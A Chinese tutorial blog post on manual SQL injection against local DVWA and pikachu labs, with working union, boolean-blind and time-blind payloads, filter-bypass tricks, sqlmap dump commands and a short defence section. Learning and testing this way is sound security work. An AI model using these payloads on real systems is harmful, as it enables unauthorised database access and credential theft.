SQL注入实战:联合查询、布尔盲注与时间盲注全解析
2026/9/14 18:12:32 网站建设 项目流程

1. SQL注入到底是什么:从一次真实“翻车”说起

先讲一个我早年间踩过的坑。当时负责一个内部运营后台,登录页长这样:用户名输入框、密码输入框、一个登录按钮。我用的是最朴素的拼接SQL方式去校验账号密码,代码大概是这个画风:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

当时我告诉自己“这只是个内网系统,没人会闲得打它主意”。结果不到两周,安全测试报告就拍到脸上——SQL注入高危漏洞,无需任何绕过技巧,直接在用户名框输入admin' --,再随便填个密码,就拿到了后台管理员权限。那一刻我才意识到,SQL注入不是CTF题库里的玩具,它是真实世界里每天都在发生的事。

所谓SQL注入,简单说就是把用户的输入当成SQL代码的一部分去拼接执行,攻击者通过构造特殊字符,改变了原始SQL语句的结构和语义,让数据库执行了攻击者想要的逻辑。它不是靠暴力猜密码,而是直接欺骗数据库“你就是合法用户”。

这个标题里提到的联合查询、布尔盲注、时间盲注,则是按“能否直接看到回显”来划分的三类最常见注入手法:

  • 联合查询注入:界面直接显示数据,注入后能直接看到数据库吐出的内容,最直观、效率最高。
  • 布尔盲注:界面不显示数据,只能根据页面真假变化来推断,像做判断题。
  • 时间盲注:页面连真假都不区分,只能用响应时间来判断条件成立与否,像等红灯倒计时。

这篇内容我会把这三种方式从原理到手工复现完整走一遍,靶场环境用DVWA和pikachu都能跑,零基础也能跟下来。无论你是做开发、搞安全还是打CTF,把这套手工流程走通,你对数据库和Web交互的理解都会上一个台阶。

2. 注入原理拆解:为什么拼接SQL等于开门揖盗

要理解注入,先得站在数据库视角看一次正常的登录请求。前端传过来两个值,比如用户名admin、密码123456,后端把它们填入SQL模板后变成:

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

数据库老老实实去查,查到了就放行。这套逻辑本身没毛病,问题在于:如果输入框里填的不是“数据”,而是“SQL代码片段”呢?比如用户名叫admin' --,拼接后就变成了:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456'

在MySQL里,--(注意后面跟一个空格)是注释符,从它开始到行尾的内容全部被忽略。于是真正执行的语句成了:

SELECT * FROM users WHERE username = 'admin'

密码校验直接被注释掉了,数据库只觉得你在查一个叫admin的用户,只要这个用户存在,登录就成功了。这就是著名的“万能密码”玩法,也是SQL注入最原始的形态。

深入一层,注入成立需要三个条件同时满足:参数可控(用户输入进了SQL语句)、未过滤或过滤不严(特殊字符原样带入)、拼接执行(代码用字符串拼接而不是参数化查询)。这三个条件缺一个,注入难度都会大幅上升。

从注入点位置来看,常见的有GET参数注入、POST参数注入、Cookie注入、User-Agent注入、Referer注入等。后几类容易被忽略,但原理完全一样,只是数据入口不同。实战中我会把所有传参点都作为潜在测试对象,不要只盯着URL上的参数看。

关于危害,很多人以为SQL注入只能绕过登录。实际上它的破坏力取决于当前数据库账号的权限:可以拖走整张用户表,可以写入恶意数据,可以读文件,甚至可以拿到数据库服务器的系统权限。2017年某跨国酒店集团的几亿条开房记录泄露,就是通过SQL注入一步步打穿内网的。所以别小看任何一个拼接点。

3. 靶场环境准备:用DVWA和pikachu练手

纸上谈兵没意义,手工注入必须落到靶场上练。两个常用的选择是DVWA(Damn Vulnerable Web Application)和pikachu,它们都是开源的有意含漏洞的Web应用,装好就能开打。

DVWA是安全圈最经典的入门靶场,自带安全级别设置(Low/Medium/High),能直观感受不同防护强度下注入方式的差异。pikachu则更偏向国内教学风格,漏洞类型全,界面也友好。我自己的习惯是先在DVWA的Low级别把注入流程跑通,再上pikachu做进阶练习。

3.1 环境安装:Docker一键起靶场

手动配置PHP+MySQL对新手不友好,用Docker是最快的路。安装好Docker之后,拉取镜像并启动:

docker pull vulnerables/web-dvwa docker run -d -p 8080:80 vulnerables/web-dvwa

启动后访问http://localhost:8080,初始账号密码是admin/password,登录后先点“Create/Reset Database”初始化数据库,然后把安全级别切到Low。pikachu的启动方式类似:

docker pull area39/pikachu docker run -d -p 8081:80 area39/pikachu

环境就绪后,打开DVWA的SQL Injection页面,就是那个要求输入User ID查询用户信息的框——这是整个学习过程的主战场。

3.2 确认注入点:单引号探路法

拿到一个输入框,第一步不是急着猜SQL语句,而是探注入点存不存在。最经典的试探就是在参数后加一个单引号看反应:

原始URL: http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit 试探URL: http://localhost:8080/vulnerabilities/sqli/?id=1'&Submit=Submit

正常查询id=1会返回一个用户信息。加上单引号后,SQL语句变成WHERE id = '1'',多出一个多余的单引号,数据库必然报语法错误,页面就会给出数据库警告信息。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

这个报错说明两件事:存在注入点,而且后端直接把错误信息吐到了页面上。如果页面没有报错但返回结果变了,比如正常内容消失,那可能是盲注环境,后面再处理。如果在真实渗透测试里遇到这种报错,记得尽快截图存证,后续写报告要用。

4. 联合查询注入:页面直接回显数据的最高效姿势

联合查询注入的原理,是利用SQL语法里的UNION SELECT,把两条SELECT语句的结果合并成一张表返回。关键在于:联合查询要求两侧的列数完全一致,所以第一步永远是把列数探出来。

4.1 探测列数:ORDER BY 才是最快的

两种方式都可以探测列数:

  • ORDER BY N:写id=1 ORDER BY N--,N从1开始往上加,直到报错。报错意味着N已经超出了实际列数。
  • UNION SELECT NULL, NULL...:逐渐加NULL数量,数量和原查询一致时不报错。

我更推荐ORDER BY的方式,因为它响应快,也更容易控制SQL结构。在DVWA的输入框里依次尝试:

1' ORDER BY 1-- 1' ORDER BY 2-- 1' ORDER BY 3-- 1' ORDER BY 4--

前三条都正常返回用户信息,第四条报错“Unknown column '4' in 'order clause'”,说明原查询只有3列。

4.2 确认回显位:联合查询的“位子”怎么找

知道有3列之后,让第2、3列回显我们想要的内容(如果第1列不出数据,一般是主键字段或id字段)。注入语句:

1' UNION SELECT 1, 2, 3--

页面正常显示,而且能看到输出的位置上是数字2和3,说明第2、3列是回显位,第1列不显示或显示不出来。这里有个小技巧:回显位的选择很关键,可以选varchar类型的列,避免数值型字段因类型不匹配出现怪问题。

4.3 拖库:从版本号到全表数据

有了回显位,接下来就是信息收集。先看数据库版本和当前库名:

1' UNION SELECT 1, database(), version()--

页面第2列显示库名(默认是dvwa),第3列显示MySQL版本(比如8.0.3)。再查所有数据库名:

1' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata--

information_schema.schemata表里存了所有库名信息,这是MySQL里查询库清单的核心方法,也是标题热搜里“mysql数据库如何通过sql注入获取所有的数据库名”的标准答案。

查当前库的所有表名:

1' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='dvwa'--

查到有users表后,再查这个表有哪些字段:

1' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'--

最后把user和password字段的数据一次性拉出来:

1' UNION SELECT 1, user, password FROM users--

password字段里是MD5哈希值,可以送到cmd5这类在线站破解,也可以自己用字典跑。我在真实项目里见过不少系统连MD5都不加盐,五年前的老系统仍然存在这种问题,破解效率高得离谱。

4.4 为什么联合查询也要看“回显点”?

很多新手有个疑问:明明SELECT能查到数据,为什么页面上看不到?关键就是回显点的问题——后端只把查询结果里特定的字段渲染到页面上,其他字段查到了也不显示。一旦确认了哪几列会输出,就可以把所有数据塞进这些列里。所以判断回显位不是可有可无的步骤,而是决定整个拖库流程能否成功的关键。

5. 布尔盲注:页面只有“True/False”时怎么办

很多时候后端不会把查询结果打出来,页面只显示“存在/不存在”“正常/异常”两种状态。比如某系统搜索框查有结果时返回“找到了”,查不到时显示“无记录”,这种场景下联合查询失效,只能靠布尔盲注。

布尔盲注的核心思路是:根据页面真假响应,逐个字符地猜出数据。每猜一个字符,都要构造一个条件表达式,让数据库去判断,然后看页面落入哪个分支。

5.1 从URL确认注入点

靶场里用一个常见场景(比如模拟搜索功能)来演示:

http://localhost:81/sqli/boolean.php?id=1

id=1时页面显示“你查询的用户存在”,id=2时显示“你查询的用户不存在”,这就是典型的两种页面状态。先用id=1' and 1=1--测试,页面还显示“存在”;再用id=1' and 1=2--测试,页面变成“不存在”。两次结果不同,说明and 1=1/1=2的条件被带入SQL执行了,布尔盲注成立。

5.2 逐字符猜解:数据库名是怎么被“挤”出来的

接下来开始猜库名。核心用substr()函数截取字符串的一部分做比较。先猜第一个字符:

id=1' AND substr(database(),1,1)='d'--

如果库名第一个字母是d,页面返回“存在”;否则返回“不存在”。这样逐个位置、逐个字符试,就能拼出完整库名。

手动试字符太慢了,我教你一个常用缩写技巧:字符集只要在小写字母a-z、数字0-9、下划线等常见范围内试就好,命中率很高。比如猜substr(database(),1,1)abc……到d时页面从“不存在”变成“存在”,第一个字符确认是d

继续猜第二个字符:

id=1' AND substr(database(),2,1)='v'--

以此类推,最终拼出dvwa。这个方法同样适用于猜表名和字段名,只是把database()换成对应的子查询即可。

5.3 用二分法把效率拉高一个量级

逐字符挨个试还是慢,每个位置要试几十次。更优的做法是使用二分法,把ASCII码比较嵌入条件中,每次排除一半的可能:

id=1' AND ASCII(substr(database(),1,1)) > 100--

ASCII码大于100吗?如果大于,说明字符在dz之间;否则说明在ad之间。每次比较都能排除一半候选字符,假设目标字符是从36个可见字符里选,最坏情况只需6次比较就能确定一个字符,比从头遍历快得多。SQL盲注里一个很重要的经验就是:能用二分就用二分,SQL语句本身没限制,慢的是网络交互次数。

再补充一个关键点:MySQL里的字符串比较默认不区分大小写,如果要区分大小写可以用BINARY关键字:

id=1' AND BINARY(substr(database(),1,1))='D'--

5.4 布尔盲注的精细化技巧:LIMIT定位多个结果

有时候子查询会返回多行,比如要猜某张表的第二个表名,直接SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa'可能返回多行,此时要用LIMIT 1,1跳过第一行取第二行:

id=1' AND substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),1,1)='u'--

这个语句能把第二个表名的第一个字符猜出来。实际手工测试时,可以先拿database()练基础,再换成information_schema里的表做进阶,这样逐步增加复杂度,理解更透彻。

6. 时间盲注:最“安静”也最“磨人”的注入方式

时间盲注是盲注里最麻烦的一种,当页面不管条件真假都返回同样内容时,布尔盲注也失效了,只能利用数据库的延时函数制造时间差,靠响应快慢判断条件真假。

6.1 为什么会有时间盲注这种场景

有些系统做了统一异常处理,不管SQL语句是否报错,页面都返回同一个错误页;或者不管查询结果是否存在,页面都渲染出同一套空数据模板。在前端看来完全没有差异,但你心里清楚漏洞就在那里,只是读不到信号。这种时候,唯一能用的“信号通道”就是时间。

6.2 时间盲注的核心函数:SLEEP + IF

MySQL的sleep(n)会让查询暂停n秒,配合if(condition, true_value, false_value)就可以构造出条件延时:

id=1' AND IF(ASCII(substr(database(),1,1))>100, SLEEP(2), 0)--

含义是:如果库名第一个字符的ASCII码大于100,数据库就睡2秒;否则立即返回。我们通过页面响应延迟来判断条件真假。

用网络请求工具(浏览器开发者工具的Network面板也很好用)测试:

  • 请求id=1' AND IF(1=1, SLEEP(2), 0)--,响应耗时约2秒。
  • 请求id=1' AND IF(1=2, SLEEP(2), 0)--,响应瞬间完成。

两次耗时不同,说明时间注入成立。

6.3 手工时间盲注实操:逐字符拼出库名

沿用刚才的逻辑,猜库名第一个字符:

id=1' AND IF(ASCII(substr(database(),1,1))=116, SLEEP(3), 0)--

如果等了几秒才响应,说明第一个字符的ASCII码是116,对应字母t(这里假设库名首字母是t)。如果不睡,就换数字继续测。每猜一个字符,发一次请求、看一次耗时,理论上能把整个库名、表名、字段名全部拖出来,只是比较费时。

这里有一个提速技巧:延时时间设短一些,比如SLEEP(1)就够,不要一上来就sleep(5),因为猜一个字段可能要发几十甚至上百个请求,每个请求浪费几秒,整体时间会非常可观。另外,抓包工具里双击重发上一个请求很方便,手工慢慢磨效率确实低,更多时候是验证思路用。

6.4 时间盲注和布尔盲注的选型对比

很多初学者会问:布尔盲注能用为什么不直接用品,为什么要用时间?答案很简单——有些场景下布尔条件根本不产生响应差异,你只能用时间。二者的核心逻辑完全一致,都是“构造条件+观察响应差异”,只是传输通道不同:

盲注类型判断依据适用场景速度
布尔盲注页面内容真假变化页面有真/假两种明显示较快,适合大量命中
时间盲注响应时间长短变化页面响应无差异,无报错回显慢,适合作为保底方案

实际渗透中,如果时间盲注成立但页面存在布尔差异,优先用布尔盲注提速;如果布尔失效,再退回时间盲注做最后手段。两者互为兜底。

7. 实战进阶:从手工注入到绕过与防御

把联合查询、布尔盲注、时间盲注都走通之后,你已经具备了手工SQL注入的基本功。但真实世界的目标站点不会像靶场那么友好,过滤函数、参数化查询、WAF都可能在路上拦你。这一节聊聊怎么应对,以及怎么从攻击视角切换到防御视角。

7.1 过滤字符后的手工注入测试

靶场里有一类常见题目,要求你面对“过滤了某些字符但过滤不完整”的情况去做注入。比如过滤了空格,但没有过滤注释符和union关键词,此时可以考虑用注释符/**/替代空格,把SQL语句写成:

1'/**/UNION/**/SELECT/**/1,database(),3--

如果过滤了union关键字但不过滤大小写,可以尝试UnIoN绕过;如果过滤了单引号,可以考虑用hex编码把字符串转化为十六进制形式:

1'/**/UNION/**/SELECT/**/1,0x64767761,3--

这里的0x64767761dvwa的十六进制表示,MySQL会把它当成字符串处理。之前看到很多小伙伴在CTF题目里用这类思路打通,核心就是“过滤不等于绝对安全”,总会有细小的逻辑缝隙可以钻。

7.2 防止SQL注入的正确姿势

从开发角度讲,防注入最有效的手段是参数化查询。拿PHP的PDO举例:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$_POST['username'], $_POST['password']]);

用户输入被当成纯数据处理,不再参与SQL语法解析,注入从根本上被切断。同理,Java的PreparedStatement、Python的cursor.execute(sql, params)、Node.js的mysql.escape()都是这个思路。

除了参数化,还要配合:

  • 最小权限原则:数据库账号只给业务必需权限,禁止直接用管理员账号连业务库。
  • 输入校验:对明显不合法的格式(比如手机号里出现SQL关键字)直接拦截。
  • 输出编码:数据库里可能存了恶意内容,输出页面时要转义,防二次注入。
  • 部署WAF:用规则拦截常见SQL注入payload,但WAF只能作为辅助,不能替代参数化查询。

7.3 手工注入向自动化工具的切换时机

手工注入能帮你建立对漏洞原理的直觉,但实战渗透时效率太低,我会在确认漏洞存在后,立刻切换到sqlmap这类工具做自动化数据提取。以时间盲注为例,用sqlmap一条命令就能跑完拖库:

sqlmap -u "http://localhost:81/sqli/time.php?id=1" --current-db --batch --technique=T

--technique=T限定只使用时间注入,避免工具在布尔和时间之间反复横跳浪费时间。再比如布尔盲注,用--technique=B加上--threads 5可以并发提速不少。

如果你是初学,我的建议是先手工作一遍,再用工具去验证,对比一下工具输出的执行过程,这样才能真正理解工具在背后做了什么。不要一上来就依赖sqlmap,否则以后能在靶场跑通题,现实中一个小变化就卡住了。

8. 写在最后的一点心得

这套手工注入流程我前后带过不止一个新人跑通,每次都有同感:联合查询让人“爽”,布尔盲注让人“烦”,时间盲注让人“疯”,但真正走完一遍后,你对数据库查询结构的理解会变得非常扎实。

从DVWA的Low级开始,逐步把安全级别调高,再切到pikachu做进阶练习,每个环节都亲自动手敲一遍SQL语句,观察每一次页面响应的变化,这样做一年下来,遇到真实系统基本能快速判断注入类型并选择合适的利用方式。

最后分享一个我常用的判断技巧:拿到一个参数点,先加单引号看报错,没报错就试and 1=1and 1=2,有差异走联合查询;没差异但时间可控,就上时间盲注。这一套组合拳打下来,大部分SQL注入场景都逃不出这三板斧。希望这篇文章能帮你少踩一些我当年踩过的坑,手工注入这条路,走通了就是你自己的真本事。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询